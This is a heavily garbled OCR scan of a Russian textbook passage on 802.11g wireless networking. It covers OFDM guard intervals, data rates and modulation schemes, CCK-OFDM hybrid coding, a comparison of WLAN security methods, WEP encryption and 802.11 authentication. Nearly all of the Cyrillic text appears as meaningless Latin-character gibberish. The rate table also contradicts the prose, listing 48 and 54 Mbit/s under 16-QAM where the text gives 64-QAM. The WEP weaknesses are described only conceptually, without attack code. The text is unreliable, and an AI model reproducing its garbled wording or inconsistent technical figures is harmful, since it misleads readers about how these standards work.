MPEANOCHUTKH 7151 9PPEKTUBHOTO MOJABICHHUS MEKCUMBOJILHON HHTEPPEPEHIINH.

[Ipu yacTOoTHOM pa3feNeHUH KaHAJOB HEOOXOJIMMO, YTOOBI IUPHUHA OTIEIHLHOTO
KaHaja ObUTa, C OJHOW CTOPOHBI, JOCTATOYHO Y3KOW IJIi MUHUMH3AIUU HCKAKEHUS
CUTHaja B MpejaesiaX OTACTbHOTO KaHala, a C JPYyrod — JOCTaTOYHO MIUPOKOW st
obecrieuenns Tpebdyemoii ckopocTu Tmepedaun. Kpome Toro, miasi SKOHOMHOTO
WCTIONIb30BaHUsl BCEW TMOJIOCHI KaHala, pa3[essieMOro Ha TMOAKAHANbI, JKENATEbHO Kak
MOXXHO 0o0Jiee TUIOTHO PAaCIMOJIOKHUTh YaCTOTHBIC TMOJAKAHAJIbI, HO MPH 3TOM H30ekKaTh

MEXKaHAJIbHON WHTEpPEPEeHINH, YTOOBl 00ECTICUNTh MOJHYI0 HE3aBUCUMOCTH KaHAJIOB
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Ipyr oT apyra. YacTOTHBIE KaHAIbI, YOBICTBOPSIONINE TIEPEUNCICHHBIM TPEOOBAHUSM,
HA3bIBAIOTCS OPTOTOHANBHBIMH. Hecylue curHambpl BCceX YacTOTHBIX IOJKAHAIOB (a
TOYHEE, (DYHKIINH, OMUCHIBAIOIINE AT CUTHAJIBI) OPTOTOHAIILHEI IPYT JAPYTY.

BaxHo, 9TO XOTSI CaMu 4aCTOTHBIE TTOIKAHAIBI MOTYT YaCTUYHO MEPEKPHIBATH IPYT
JpyTa, OPTOrOHAIBHOCTh HECYIIUX CHUTHAJIOB TapaHTHPYET YACTOTHYIO HE3aBHUCHMOCTH
KaHaJoB Jpyr OT Jpyra, a, CJeI0BaTeJIbHO, U OTCYTCTBHE MEXKKaHAIbHON
unrepdepennuu (puc. 17).

Uaeramieie KaHuiel

A F ¥V 4 4

Uactora, |

Puc. 17. IlpuMep nepeKphIBarOMIMXCs YACTOTHBIX KaHAJIOB C OPTOTOHAJIbHBIMU HECYIIUMU

PaccmoTpenHsbIil crioco0 JiefieHus] MUPOKOMOIOCHOTO KaHajla Ha OPTOTrOHAJIbHBIC
YAaCTOTHBIE TMOAKAHAJIBI HA3bIBA€TCSI OPTOTOHAIBHBIM YAacCTOTHBIM pPAa3/IEICHUEM C
mynbTuiiekcupoanueMm (OFDM). Ogaum u3 kitodeBbIX npeumyiiectB Mmeroga OFDM
SBJISIETCS COYETAHHWE BBICOKOW CKOPOCTH mepeaaun ¢ 3PGEeKTUBHBIM MPOTHUBOCTOSIHUEM
MHOTOJIy4€BOMY pacrpocTpaneHuto. Eciam roBoputh To4yHee, TO cama 1o cebe
texHosiorus OFDM He ycTpaHsieT MHOTOJIYy4€BOIO pPacHpOCTPAHEHHUs, HO CO3/AeT
OPEeANnoChUIKM [l ycTpaHeHuss 3¢¢dekTa MEXKCHUMBOJIbHON  HHTep(epeHLUH.
Heorpemniemoir wacteto TexHomorun OFDM sBnsercs oxpanubiii mHTepBan (Guard

Interval, GlI) — nwmkiIMYeckoe TMOBTOPEHHE OKOHYAHHSI CHMBOJIA, MPHCTPAUBAEMOC B
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Hayaje cuMBoJia (puc. 18).

[TuKnHUeCcKOe KOMUMpOBaHue

GI | Symbol \

Puc. 18. Oxpannsiii uaTepBan Gl

OxpaHHBI HMHTEpBaN SBISETCS W30BITOYHOM HMH(OpPMaLMEd U B 3TOM CMBICIE
CHIKAET MOJIe3HYI (MHPOPMAlMOHHYIO) CKOPOCTh IMEpeAadyd, HO UMEHHO OH CIYXKHUT
3alMTON OT BO3HUKHOBEHUS MEKCHUMBOJBHOM HHTEepdepeHIuu. OTa HU30BITOYHAS
uHdopmaIus 100aBIseTCs K MepeaaBaeMOMy CUMBOJY B MepeaTuuKe U OTOpachIBAeTCs
IIpU MPUEME CUMBOJIA B TPUEMHUKE.

Hanuune oXxpaHHOrO MHTEpBaJIa CO34AET BPEMEHHBIE May3bl MEXAY OTIEIbHBIMU
CUMBOJIaMH, U €CJIU JUIMTEJBHOCTh OXPAHHOTO HMHTEPBAJIA NPEBBILAECT MaKCHMAJIBHOE
BpeMs 3a[EpKKA CHUTHajJa B pE3yJIbTATE MHOTOJIYYEBOIO pPACHPOCTPAHEHHS, TO

MEXCUMBOJILHOUM MHTEP(DEpPEHIINN He BO3HUKAET (puc. 19).
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[Tepnaii crsman Bropodi cusmaz

4 F 4 F
Gl | Symbol 4l | a6 | Symhal 42
al | Symbol# | R Symbal 42
Gl | Symbol# | THRFatER Synmbol 42
[Perison BIYTPECIsBIRHON HTepdepeiimg
4 F c
Fermam, 1 Bk O
Makcimamaas SIEECHMBOLIER HTEpdepenng

Sk econ fad arcyrernonan Gl

Puc. 19. N30exxanne MexXCUMBOJIBLHON HHTEP(EPEHIINHU 3 CUET UCIIOJIb30BaHUS
OXPAaHHBIX UHTEPBAJIOB
[Ipu ucnonp3oBanun texHonorun OFDM anuTenbHOCTh OXPAHHOTO HHTEPBAJIA
COCTaBJISICT OJHY YETBEPTYIO JUIMTEIBHOCTH camoro cumsosa. [Ipu 3ToM cam cuMBOI
MMEET JJIUTENIbHOCTh 3,2 MKC, a OoXpaHHbli uHTepBan — 0,8 mkc. Takum oOpazom,

MJIUTCIIBbHOCTh CUMBOJIA BMCCTC C OXPaHHBIM MHTCPBAJIOM COCTABJIACT 4 MKC.

CKOpOCTHBIE PEXUMBI 1 METOABI KOAUPOBaHUs B poTokose 802.11¢g

B npotokone 802.11g npeaycMoTpena nepeaada Ha ckopoctsx 1, 2, 5,5, 6,9, 11,
12, 18, 22, 24, 33, 36, 48 u 54 Mo6ut/c. O0s3aTeNbHBIMHU SIBISIOTCS CKOPOCTH Tiepeaadu 1;
2;5,5; 6; 11; 12 u 24 Mo6urt/c, a Oonee BbicOkue ckopocTH rnepenauu (33, 36, 48 u 54
M6uT/c) — onmmonanbHbIMU. Kak yxe orMeuanoch, npotokod 802.11g Bkitouaet B ceds
NOAMHOXKECTBO MpoToKoabl 802.11b. Texnosorus koaupoBanuss PBCC oniuoHanbHO
MOXET MCITOIb30BaThCs Ha cKopocTsax 5,5; 11; 22 u 33 Mowut/c. Kpome Toro, ogHa u Ta
)K€ CKOPOCTh MOJKET PEaJM30BBIBATHCSA IPU PA3TUYHOM TEXHOJOTHMU KOJUPOBAHMUS.
CooTHolIeHHEe MEXTy Pa3JIMYHBIMU CKOPOCTSIMU TIEpPEeavu U UCTIOIb3yEeMbIMU METOIaMU
KOJIMPOBAaHMS OTOOpakeHO B TaoOI. 7.

['oBOpst 0 TEXHOJOTUM YaCTOTHOTO OPTOTOHAIBHOTO pasnesieHusi kaHaioB OFDM,
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NPUMEHSEMON Ha Pa3IMYHbIX CKOPOCTAX B mpoTokose 802.11g, mMbl 10 cux mop He
KacaJluCh BOIIPOCA O METOJI€ MOAYJISIIIUY HECYIIIETO CUTHAIA.

[lepeiineM K pacCMOTPEHHUIO METOJOB MOAYJALMU MPUMEHSIEMBIX CTaHIAPTOM
802.11g.

Hamomato, uto B mpotokosie 802.11b mjis MomysluM KMCIOIb30Baach JHOO
neonvHas (BDPSK), mu6o kBanpatypuas (QDPSK) oTHocuTensHas ¢ga3zoBas MOTYIISAIIHSL.
B mpotokone 802.11g Ha HUBKHMX CKOPOCTSX Iepeladyd TaKXKe HCMoJb3yercs (azoBas
MOAYJSAIMUs (TOJIBKO HE OTHOCUTENbHAs), TO €CTh JBOMYHAs U KBajapaTypHas ¢a30BbIe
moaynsiunu BPSK u QPSK. IIpu ucnons3oBanuun BPSK-monynsuun B on1HOM cuMBOJE
KOJUPYETCS TOJBKO OJUH HH(POPMALMOHHBIM OUT, a mnpu wucnoiabzoBanun QPSK-
MOIYJAIMU — JBa HUHPoOpManMoOHHbIX Outa. Moaynamuss BPSK wucnonb3yercs s
nepesavyn JaHHbIX Ha cKopocTax 6 u 9 Mout/c, a mogymsimus QPSK — Ha ckopoctsx 12
u 18 Mowurt/c.

Jlns mepegaun Ha OoJiee BBICOKMX CKOPOCTSIX MCHOJIB3YEeTCS KBaJpaTypHas
amrutyaHas moxyisinas QAM  (Quadrature Amplitude Modulation), mpu KoTopoii
uH(popMaIUs Kogupyercs 3a cUeT u3MeHeHus (a3bl U aMIUIMTYAbl CUTHaj1a. B nmpoTokosne
802.11g ucmonwsyercs moayisiusa 16-QAM u 64-QAM. B nepBom ciydae umeercst 16
Pa3IMYHBIX COCTOSIHUI CHUTHANA, YTO MO3BOJISET 3aKOAMPOBATh 4 OUTAa B OJHOM CHUMBOJIE.
Bo BTOopoM ciyuae umeerca yxke 64 BO3MOXHBIX COCTOSIHUM CUTHAJIA, YTO IO3BOJISIET
3aKOJMPOBATh IIOCIIEIOBATEIBHOCTE 6 OUT B omHOM cuMBojie. Monaymsius 16-QAM

MpUMEHSIETCS Ha CKOpOCTsX 24 u 36 Mout/c, a monyssiius 64-QAM — Ha ckopocTsix 48

u 54 Mowurt/c.
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Puc. 20. [IpeacraBnenue curnana mpu QAM-16

N3 Tabmuupl 7 BUIHO, YTO MPU OJHOM U TOM K€ THUIIE MOIYJISIIIUU BO3MOKHBI
pa3IMyHbIE CKOPOCTH MEpEaayu. PaccMOTpyM Kak OHM MOJY4aroTCsl Ha MpUMEpE
Monysanuu BPSK, mpu koTopoil CKOpOCTh mepenadyd JaHHBIX cOcTaBisieT 6 wiu 9
Mour/c. Ilpu wucnonb3oBanun TexHosorud OFDM  wucnons3yercss CBEpTOYHOE
KOJUPOBAHUE C PA3IUYHBIMU MYHKTYPHBIMU KOJEpamH, YTO MPUBOJUT K Pa3IUYHOU
CKOPOCTH CBEPTOYHOTO KOAMPOBaHUA. B pe3ysbrare npH HCIONB30BAaHUN OJJHOTO U TOTO
K€ TUIA MOIYJISLMHA MOTYT TOJy4aThCsl pa3Hble 3HAUYEHUS MH(POPMALMOHHON CKOPOCTH
— BCE€ 3aBHCHUT OT CKOPOCTHM CBEPTOYHOIO KOAMPOBaHMs. Tak, MpU HCHOJIb30BAHHUU
BPSK-monynsauuu co  CKOpPOCTBIO  CBEPTOYHOTO  KOAWpOBaHus 1/2  momydaem
UH(OPMAIMOHHYIO CKOopocTh 6 MOuT/c, a TpH HCNOIB30BAHUU CBEPTOYHOTO
KOJIMPOBAHMS CO CKOPOCThIO 3/4 — 9 Mbwurt/c.

Tabnuua 7. COOTHOIIEHHE MEXTy CKOPOCTSIMU MEpeaur U TUTIOM KOJUPOBAHUS B

cranaapre 802.11g

CxopocTb nepegaur | Meto KoaupoBaHUs Monynsuus

(Mowurt/c)
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1 (omIIMOHAIBHO) Kon Bapkepa DBPSK
2 (OIIMOHANBH ) Kon bapkepa DQPSK
5.5 | (obs3arenbHO) CCK DQPSK
(omIIMOHAIBHO) PBCC DBPSK
6 (obs13aTEIIBHO) OFDM BPSK
(OMIIMOHABHO) CCK-OFDM BPSK
9 (OMIIMOHATBHO) OFDM, CCK-OFDM BPSK
11 (o0s13aTENBHO) CCK DQPSK
(OMIIMOHATBHO) PBCC DQPSK
12 (00s13aTeNBbHO) OFDM Q SK
(omIIOHAIBHO) CCK-OFDM QPSK
18 (o0s13aTEIBHO) OFDM, CCK-OFDM QPSK
22 (OMIIMOHATBHO) PBCC DQPSK
24 (00s13aTENBHO) OFDM 16-QAM
(omIIOHAIBHO) CCK-OFDM
33 (OMIIMOHATBHO) PBCC
36 (OMIIMOHATBHO) OFDM, CCK-OFDM 16-QAM
48 (OIIIMOHANBHO) OFDM, CCK-OFDM 16 QAM
54 (OMIIMOHATBHO) OFDM, CCK-OFDM 16-QAM

CranaapTt Takke mpeaycMaTpuBaeT MPUMEHEHHE TMOPUAHOTO KoaupoBaHus. Jljis
TOTO YTOOBI MOHSTH CYIIHOCTh 3TOTO0 TEPMHUHA, BCIIOMHHUM, YTO JIFOOOW TepeaaBacMblii
MaKeT JaHHBIX COJEPKUT 3aroJIoOBOK/TipeaMOyiny co CiayKeOHbIM uHbOpMaIMed U moje
nanHbiX. Korna peus uzer o nakere B ¢popmare CCK, umeercss B BUaY, 4TO 3aroj0OBOK U
naHHeie kaapa mnepenarorcss B ¢dopmare CCK. AHAIOTMYHO TIPU  HMCTOJIB30BAHHUH
texHosiorun OFDM 3arosioBok kaapa W JaHHble mnepeaatorcss nocpeacrsom OFDM-
koaupoBanus. [Tpu npumenennn texnosnoruu CCK-OFDM 3aronoBok kajpa KOaupyeTcs

¢ mnomompblo CCK-komoB, HO caMH JaHHbIE KaJpa MEpeJaloTcsl MOCPEICTBOM
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mHorouactotHoro OFDM-kogupoBanusi. Takum o6pazom, texnonoruss CCK-OFDM
spigercst cBoeodpazubiM TuOpuaoM CCK u OFDM. Texnonorus CCK-OFDM — we
eIMHCTBEHHAs THOpHIHAS TEXHOJIOTHUSA: IMPH HCIOJB30BAHUU TMAKETHOTO KOJIWPOBAHUS
PBCC 3aronoBok kanpa nepegaetrcsa ¢ nomoibio CCK-KOOB M TOJIBKO JTaHHBIE Kajapa

Koaupyrores nocpeacrsom PBCC.

be3zonacHocth 6ecipoBoaHbix LAN

Tak kak OecrpoBOJIHBIE CETU HUCIIONB3YIOT B KAYECTBE CPEIbl Mepeaun painodpup
OHU OOJIBIIIE OCTAIBHBIX MOJIBEP>KEHBI OMACHOCTH, JIFOOOU JKEJIatoNIUi MOXKET MOJYyYUTh
JOCTYIl K HMH(OpManuu mnepegaBaeMol Mo pajuokaHany. EJuHCTBEHHBIM BapHaHTOM
obecrnieyeHus KOHDUICHITMATLHOCTH U IEJIOCTHOCTU UH(OPMAIIUU SBIISETCS IPUMEHEHUE
CTOMKHMX aJITOPUTMOB IIU(PPOBAHUS U HAJEKHBIX METOAOB ayTeHTUPuUKauu. B mepBbix
penaKuusaX cCTaHaapTa 3aluTe, Ha MOM B3I, ObLIO yIENEHO HE JOCTATOYHO BHUMAHUA,
OTCYTCTBOBaJIa BO3MOXKHOCTh MJACHTU(UKAIIUU TOIh30BATENsl, MPUMEHSJICA HE CTOMKHI
anroput™m 1mmdpoBanuss WEP. Oxnako ¢ Tex mop MHOroe M3MEHHIIOCh, U IO Mepe
MOBBIIIEHUS TMPOMYCKHOM CHOCOOHOCTH U HAJIEKHOCTH OECIPOBOJHBIX  CETeH
COBEPIIEHCTBOBAINCH M CTaHAAPTHI oOecneueHus ux OezonacHoctu. WPA u WPA2 —
HOBEHIIIME  TIPOTOKOJIBI  obOecreueHuss  0€30MacHOCTH  OECHpOBOJHBIX  CETEH,
pazpaborannbie Ha ocHoBe ctaHnapta IEEE 802.111, — momoraroT HaJieKHO 3allUTUTh
Tpaduk B OECIPOBOMHBIX CETAX JaXKE B CUTYalMSIX, MPEIBSIBISIONIUX IOBHIIIICHHBIC
TpeboBanus Kk 6e3onacHocTH. [Ipu mpaBUIbHONW HACTPONKE CUCTEMBI C TTOIIEPIKKOM ATUX
CTaHJIapTOB 3AIUILECHBI TOPA3/I0 HAJCKHEES, YeM MPEKHUE PEIICHUS], U UX MOXKHO CMEJIO
WCIIOJIb30BaTh B KOPIIOPATUBHBIX CUCTEMAX CPEIHETO pa3Mepa.

B Ttabmuue mnpuBeneHsl OCHOBHBIE MOJAXOAbI K OOECHeYeHHI0 0e30MacHOCTH

OECIIPOBOJIHBIX CETEH.
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Tabmuma 8. CpaBHeHHE TOIX0I0B K 00eCTIeUeHHI0 6€30IMacHOCTH

OeCIIpOBOIHBIX CETEH

XapakTe HCTHKH WPA | WPA2 | WEP | VPN | IPsec
Crporas mpoBepKa MoJJIMHHOCTH a Ha HET I[al I[a2
Hanexxnoe mudpoBanue 1aHHBIX Ha Ha HET Ja Ha
[Ipo3paunoe MTOJIKJIFOYCHUE u | /Ja Ha Ha HET Her

BOCCTAHOBJICHUC ITIOAKIIOYCHUA

[IpoBepka nmoIMHHOCTH MoJib30Barenen | Jla Ha HET Ja HET
[IpoBepka NOIMHHOCTH KOMITBIOTEPOB Ja [a [a Her | /a
3amura Tpaduka npu | Jla Ja Jla Ja HET

HII/IPOKOBGIH&TGJIBHOI?I )51 MHOFO&,Z[pGCHOﬁ

nepenaye

7
[ToTpebHOCTH B JTIOTIOJTHUTEIIBHBIX I[a3 I[a3 Her | /[a Hert

CCTCBBIX YCTpOﬁCTBaX

3ammTa AocTyna K OecrnpoBojHON cetu | [a Ha Ha Her | Her

IIOMHUMO JOCTYIIA K IMTaKCTaM

1 - ecu He UcnoNIBE3yeTCs MPOBEPKA MOJIMHHOCTH € TIOMOIIBIO OOIINX KIHOUen

2 - eCJIM UCTIOJIb3YEeTCs MPOBEPKA MOATUHHOCTH C TTIOMOIIBIO CePTU(PHUKATOB MITH TIO
nporokoiy Kerberos

3 - TpeOytorcs cepBepsl RADIUS

4 - tpedyrores cucremsl VPN u cepeps RADIUS

Paccmotpum  Gosiee  mOapoOHO  KaXKIBIM W3 TOJIXOIOB K  0OECIEUCHUIO
0€30MacHOCTH.

Aaroputm mudpposanusa WEP

Ilepas Cnemudukanus crangapra 802.11 mnpemycmarpuBaeT oOecniedeHue
3alIUThl JaHHBIX ¢ ucnonb3oBanuem amroputma WEP (Wired Equivalent Protection).
DTOT ajaropuTM OCHOBaH Ha NPUMEHEHHH CHMMeETpudHOro motouHoro mudppa RCA4.

Cummerpuunocth RC4 o3nauaet, uro coryacoBanuble WEP-kimroun pasmepom 40 wuinm
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104 6ut cTaTUYHO KOH(PUTYPUPYIOTCS HA KIIMEHTCKUX YCTPOMCTBAX U B TOUKAX JIOCTYIA.
[TpousBoauTenu o0OpyAOBaHUS MpeAJIaraloT JiBa croco0a KOHPUTYPUPOBAHMS KITIOUEH,
BegeHue B nosie «key» n-outHoro HEX uucna miam Oonee ymoOHBIA ¢ TOYKH 3pEHUS
MOJIB30BATENsI CIOCO0, BBemeHHWe Hekotopou mochenoBatenbHocTd ASCIl cumBoOB
KoTopasi B JajbHelmem TpaHcpopmupyercs B kitod. AnroputM WEP Opin BeiOpan
TJIaBHBIM 00pa3oM MOTOMY, YTO OH He TpedyeT oObeMHBIX BbhuucieHuid. WEP —
IPOCTOM B NPUMEHEHUM AaITOPUTM, JUIsl 3allCH KOTOPOTO B HEKOTOPBIX CIy4asx
noctaTodHo 30 cTpok koaa. Maiible HEPOU3BOAUTENBHBIE PACXO/bl, BOSHUKAIOIIUE MTPU
OPUMEHEHUU ATOr0 AITOPUTMA, JIEJAI0T €r0 MACATBbHBIM aJrOPUTMOM MIU(PPOBAHUS IS
CIIELMAJIM3UPOBAHHBIX YCTPOMCTB.

YroOsl u3dexare mmdposanus B pexxume ECB (Electronic Code Book — npwm
UCIIOJIb30BAaHUU ATOrO PEKMMa OAMH M TOT € OTKPBITHIM TEKCT mociie mudpoBaHuUs
npeoOpaszyeTcsl B OJUH U TOT K€ 3alln(POBAHHBIN TEKCT). DTOT (HAKTOP MOTEHIMAIBHO
MpeACTaBIsAeT COO00M yrpo3y ajisi 0e30MacHOCTH, MOCKOJIbKY 3J0YMBIIIJIEHHUKA MOTYT
H0JTy4aTh 00pa3iibl 3alIM(PPOBAHHOTO TEKCTA U BBIABUIATh KaKHE-TO MPEAIOJIOKEHUS 00
ucxogHom tekcre ), WEP ucnonb3yer 24-pa3psaHblil BEKTOp MHULMAIA3ZAIMHN, KOTOPBIN
no0aBigeTcsl K KUY Nepen BbIoJIHeHHeM 00paboTtku mo aiaroputmy RC4. Bekrtop
WHUILMAIM3ALUH JTOJDKEH M3MEHAThCS ModpeiMOBO BO m30ekaHue Koumsui. Kommusuun
TaKOro pojia MPOUCXOMISAT, KOTIa UCTIONb3YIOTCA OAUH U TOT € BEKTOP MHULUATU3ALMNY U
onuH u T1OT k¢ WEP-ki1t04, B pe3ynbraTe uero /it mudpoBanus ¢ppeitmMa UCIOIb3yeTCs
OJIMH U TOT XK€ KJIIOUYEBOM MOTOK. Takas KOJUIM3MS NMPENOCTABIISAET 3JI0YMBIIUICHHUKAM
OoJbpIIME BO3MOXXHOCTH 10 Pa3rajiblBAHUIO  JaHHBIX OTKPBITOIO TEKCTa IyTEM
COIOCTaBJICHUs MOJOOHBIX 3JeMeHTOB. IIpu MCHOIB30BaHUM BEKTOpa HWHULMATU3AINU
BAXKHO TMPEJOTBPATUTH MOAOOHBIM CLIEHApUM, MOATOMY BEKTOpP MHHUIMAIM3ALMU YaCTO
MEHAIOT. bBOJIBIIMHCTBO  MPOM3BOAUTENEH MpeiaraloT  mno@pedMoBbIE  BEKTOPHI
WHUIIMATU3alud B CBOMX YycTpoiicTBax st OecripoBogubix LAN. Ha pucynke 4.21

nokaszaH (ppeiim 3ammdpoBaHHbIi ¢ Ucnonb30BaHueM anroputma WEP.,
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Puc. 21. ®peiim, 3ammdpoBannsiii anropurmom WEP

Cnenuduxanus ctangapta 802.11 tpedyet, utoOsl oquHakoBbie WEP-kit0un 0bu11
CKOH(UTYpUpPOBaHBI KaK Ha KIMEHTAX, TaK U Ha yCTPONCTBAX, 00pa3yroNInX HHPPACTPYK-
Typy ceTu. MOXHO onpenensaTh A0 YEThIPpEX KIIIOYEW Ha OJHO YCTPOMCTBO, HO OJJHOBpE-
MEHHO I IMU(POBAHUS OTIPABISEMbIX (PEHMOB HCHOIB3YETCS TOJIBKO OJUH W3
Hux.WEP-mmdpoBanue ucnoiab3yeTcs: TOJbKO MO OTHOIICHHIO K ()peiiMaM JTaHHBIX U BO
BpeMsi TpPOLEAypbl AayTEHTU(HUKAUMU C COBMECTHO MCHOJb3yeMbIM KitouoMm. [lo
anmroputmy WEP mudpytores cnemyromue monst ¢peiima nansaeix crangapta 802.11.
JlaHHbBIe WK TI0JIe3Has Harpy3ka (payload).

KonTtpoabHbIii mpu3Hak 1enoctHoctH (integrity check value, ICV).

3HaueHus BCEX OCTalbHBIX IOJIeH mepedaroTcss Oe3 mm@poBanus. Bekrtop
WHULMAIN3AlUN JIOJKEH OBITh TOoCiaH He3amupoBaHHBIM BHYTpU (peiima, dYToObI
preMHasi CTaHIIMS MOTJIA TIOJYyYUTh €r0 ¥ UCIIOJIb30BaTh JJISI KOPPEKTHON paciiu(ppOBKU
nosie3Hoit Harpy3ku u ICV. Ha puc. 22 cxematnuHo npeacTaBieH npoiiece mudppoBaHus.

B nomonHenne k mmdpoBaHuio AaHHBIX cnenudukanus crangapra 802.11
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npejiaraeT  MCIOoJb30BaTh  32-pa3psiHOe

OCYIIECTBISITh KOHTPOJIb IE€JIOCTHOCTH. ODTOT KOHTPOJIbHBIA MPHU3HAK IEJIOCTHOCTH
TOBOPHUT MPUEMHUKY O TOM, 4TO (hpeiim ObLI moiyueH Oe3 MOBPEXKIACHHS B IMpolecce
nepenadn. KoHTpobHBIN MPU3HAK IIETOCTHOCTH BBIYUCISIETCS IO BCEM TMOJIsIM (ppeiima ¢
UCIIOJIb30BaHUEM 32-pa3psiiHON TOJMHOMHUATBHOM (DYHKIIMM KOHTPOJIA M C IMOMOIIbIO
mukimyeckoro u3oerouHoro koma (CRC-32). Cranmus oTmpaBUTEIh BBIYUCISIET 3TO
3HadyeHue u nomemaer ero B noje ICV, npuemHas ctopona pacumdpoBbiBacT dpeiiMm
Bbrunciiger 3HaueHue ICV u cpaBHuBaet ero co 3nHayeHueM B nosie ICV. Ecnu 3HaueHus
COBIAJAIOT CYMTAETCS 4YTO (peliM He NOAJEIbHBIM, B MPOTUBHOM cllydae (peim

orOpaceiBaeTcsi. Ha puc. 22 u 23 mokaszad mnporecc naemudpoBanus (peiMoB u

3HaUYCHHUE,

BBIYHCJICHUA KOHTPOJIBHOI'O IPHU3HAaKa EJIOCTHOCTH.

Ppeim JaHHBIX C OTKPbITHM TEKCTOM Krioy W

(GYHKIMS ~ KOTOPOTO

OparmeH-
Tarop

dparmvent Gpeimac
OTKPbITHIM TRKCTOM

(=

Knioveson
NOTOK

®parmeHT gpeiimMac
OTKPLITLIM TEKCTOM W
clICV

MecUTeNk
(XOR)

v

OparmeHT ppeimac
JaWKUDPOBAHHLIM
TekcToM i C ICV

Puc. 22. llludposanue no anropurmy WEP
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Kntoyegomn MparMeHT Gpeitva ¢
Kntoy WEP > noTok OTKPbITHIM TEKCTOM M

cICV
v Y
/ DparmeHT ppeiima c

OTKPHITHM TEKCTOM
MparmeHT dpeiima ¢ CmecvTens) p

(XOR)
3aUMbPOBAHHLM
TekctoM v ¢ ICV

OtbpoLuenHein nnoxoi ICV-dpeim

Puc. 23. Aemmdpoanue no anropurmy WEP

PparmeHT
dperiMa
C OTKPbITbIM
TEKCTOM

OparMeHT

" 32-paz-
¢dpenma K mexaHu3My

C OTKPbITbIM png,:',"ﬁ > wudposaHus WEP

TEKCTOM

Puc. 24. lnarpamma QyHkuronupoBanus mexannsma |ICV

Mexanu3mbl ayTeHTH(GUKannu ctanaapra 802.11
Cnemudukanus crangapta 802.11 oroBapuBaeT ABa MeXaHHU3Ma, KOTOPbIE MOTYT
IpUMEHAThCA IS ayTeHTuukanuu kimeHToB WLAN.
» OtkpsiTas ayTeHTudukaus (open authentication).
* AyTeHTH(UKAIMI ¢ COBMECTHO UCTIOIB3yeMbIM KirouoM (Shared key authentication).
OTkpbiTasi ayTeHTU(UKALNA [0 CYTH IPEICTaBIsIeT COOOM alrOpuTM C HyJIEBOU

ayrentudukanueit (null authentication algorithm). Touka moctyna mpuHUMAaeT JHOOOM
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3ampoc Ha AayTeHTU(PUKANUIO. ITO MOXKET OBITh MPOCTO OECCMBICICHHBIA CHUTHA,
UCTIOJIB3YeMbId  JII1  yKa3aHUsl Ha T[PUMEHEHHE HMMEHHO JTOro  allfOpUTMa
ayTeHTU(PUKAIUH, TEM HE MEHEE OTKPBITAs ayTEHTU(UKAIINS UTPACT OMPEACICHHYIO POJIb
B ceTsix crangaprta 802.11. Ctoap mpocTbie TpeOoBaHMS K ayTEHTU(DUKAIIMH O3BOJISIOT
YCTPOMCTBAM OBICTPO MOJIYUUTH JOCTYII K CETH.

KoHTponms gocTyma Tipu  OTKpPBITOM ayTEeHTHU(UKAIIMK  OCYIIECTBISIETCS C
UCIOJIb30BaHUEM 3apaHee ckoHpurypupoBanHoro WEP-kmoua B Touke goctyna u Ha
KJIMEHTCKOW CTaHIMU. JTa CTAHIMS M TOYKA JOCTyNa JIOJDKHBI MMETh OJMHAKOBbHIC
KJTFOUH, TOT/Ia OHU MOTYT CBSI3BIBATBCSI MEXAY cO00M. Ecnu cTaHIusg U Touka A0CTyma He
noaaepkuBatror anroput™m WEP, B BSS HeBo3MoxHO oOecmeunts 3anmuty. JlroGoe
YCTPOHCTBO MOXKET TMOJKIIOUNATHCS K TakoMy BSS, u Bce dpeiiMbl TaHHBIX TEpeIatoTCs
He3alr(ppoBaHHBIMHU.

[locne BBIMOTHEHUSI OTKPBHITOM ayTEeHTU(UKAIMM U 3aBEpIICHUS Mpolecca
ACCOIMMPOBAHUS KIMEGHT MOXKET HayaTh TMepenady W TpHUeM JaHHBIX. Eciu KIueHT
CKOH(UTYpUpOBaH TaK, YTO €ro KUY OTIMYAETCS OT KJIo4Ya TOYKUA JOCTyIa, OH HE
CMOXKET MPaBUJIBLHO 3alIM(PpPOBHIBATh W pacliuPpoBbIBaTh (peiimMbl, U Takue (peiimMbl
OyIyT OTOpOIIEHBI KaK TOYKOW JIOCTyMa, TaK M KJIMEHTCKOW CTaHIUEH. DTOT MpoIecc
penocTaBisieT co00i JOBOIBHO-TaKU A((HEKTUBHOE CPEICTBO KOHTPOJIS JOCTYyIIA.

B ornuume oT OTKpBITON ayTeHTHU(UKAIIMH, TIPH ayTCHTH(PHUKAIIMA C COBMECTHO
UCIIOJIb3YEMbIM KIIFOUOM TpeOyeTcsi, YTOObI KIIMEHTCKasl CTAHIUS U TOYKa JOCTyNna ObUIn
criocoonsl mogaepxkuBatb WEP wu umenmn opunakoBeie \WEP-kmoun. Ilporecc
ayTeHTU(UKALUNA C COBMECTHO HCIOIb3yEMbIM KIIFOUOM OCYIIECTBISICTCS CIEIYIOIINM
obOpa3zoM. KnueHT mockutaeT TOuke MOCTYIa 3ampoc Ha ayTEeHTHU(UKAIMIO C COBMECTHO
UCIIOJIB3yeMbIM KiTIouoM. Touka Joctyna otBedaeT (perimom Bei3oBa (Challenge frame),
coJiepKaIiM OTKPBITHIN TeKkcT. KireHT mm@pyeT BBI30B M MOCHIIAET €ro 00PaTHO TOYKE
nocryna. Ecimm Todka joctyma MOXKET MpaBWIBHO pacmudpoBath 3TOT (peiM u
MOJIYYMTh CBOM HWCXOJHBIM BBI30B, KIUEHTY TOCBLIACTCS COOOIICHHE OO0 YCHENTHOU

ayreHTuukauuu. Knuent nomyyaet noctyn WLAN.
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——1. Janpoc Ka ayTeHTUdMKaL0 ——>

«——— 2.0mser Ha 3anpoc (8ui308)

3. 3anpoc Ka accoUAHpOBaHAe
(3AWHGPOBRKMLK BLI0R)

<— 4.078eT Ha accouMmuposakue (yenewnoe) —

WEP-£m0Y knmenTa ——5. WEP-Gpeim AaHHsix 1% NPoBOAHO CeTH =
123456

posogyas cemb

Puc. 25. Ilpouiecc ayTeHTU(UKAIIUA C COBMECTHO UCIIOIb3YEMbIM KITFOUOM
[IpeanochuIKK, Ha KOTOPBIX OCHOBaHA ayTEHTU(UKAIUS C COBMECTHO HCHOJb3Yye-
MBIM KJIFOYOM, TOYHO TaKHE K€, KaK U T€, KOTOPbI€ MPEANOoJaraiiuch Mpu OTKPHITON ay-
TeHTu(ukanuu, ucnoiassytomed WEP-ki1t0un B kadecTBe cpecTBa KOHTPOJISL JOCTYIA.
PazHunia Mexnay 3TUMU JIByMsI CX€MaMH COCTOMT B TOM, YTO KIJIMEHT HE MOXET acco-
IUUPOBATH CEOsI C TOUKOM JOCTYIA MPU UCTHOJb30BAHUM MEXaHU3Ma ayTeHTUPUKAIIUU C
